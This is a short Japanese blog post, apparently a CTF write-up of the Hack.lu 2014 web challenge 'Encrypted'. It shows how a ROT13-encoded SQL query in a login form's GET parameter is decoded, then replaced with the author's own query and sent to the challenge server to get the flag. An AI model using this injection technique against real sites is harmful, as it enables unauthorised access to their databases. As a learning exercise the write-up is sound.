きゅうり。

主にCTF関係のことを書いていく気がします

Hack.lu CTF 2014 Encrypted writeup

web問の勉強どうやろうかな~と思っていたら、Hack.luがずっと生きているということを知ったので解いていこうかなというお気持ち。

どうやるか迷ったけど、1問1記事で。

Encrypted

web 50(+10)

問題

単純なログインフォームがあるだけ。

適当にログインしてみると、bad passwordと言われ入れない。

が、怪しげなGETパラメータがつくことに着目する。

dhrel=FRYRPG+%60anzr%60+SEBZ+%60hfref%60+JURER+%60anzr%60+%3D+%27Xlhev%27+NAQ+%60cnffjbeq%60+%3D+ZQ5%28%27Xlhev%27%29

見づらいのでurl decodeするとこんな感じ。

dhrel=FRYRPG+`anzr`+SEBZ+`hfref`+JURER+`anzr`+=+'Xlhev'+NAQ+`cnffjbeq`+=+ZQ5('Xlhev')

というわけで自明なのでROT13をするとこうなる↓

query=SELECT+`name`+FROM+`users`+WHERE+`name`+=+'Kyuri'+AND+`password`+=+MD5('Kyuri')

実行するSQLをGETパラメータで指定していることがわかりました。

ここまでくると後は自由なので、適当に実行してやると終わる。

query=SELECT `name` FROM `users`

dhrel=FRYRPG `anzr` SEBZ `hfref`

https://wildwildweb.fluxfingers.net:1411/dologin.php?dhrel=FRYRPG%20%60anzr%60%20SEBZ%20%60hfref%60

flag{nobody_needs_server_side_validation}